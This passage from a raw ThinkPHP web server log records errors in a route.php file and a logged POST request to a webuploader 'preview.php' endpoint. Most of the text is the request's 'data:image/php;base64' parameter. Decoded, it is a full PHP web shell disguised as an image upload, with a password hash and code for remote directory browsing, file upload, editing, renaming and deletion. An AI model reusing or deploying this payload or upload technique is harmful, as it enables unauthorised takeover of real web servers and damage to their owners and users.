PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'Widget' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:23+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/admin/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002920s] [吞吐率:342.48req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 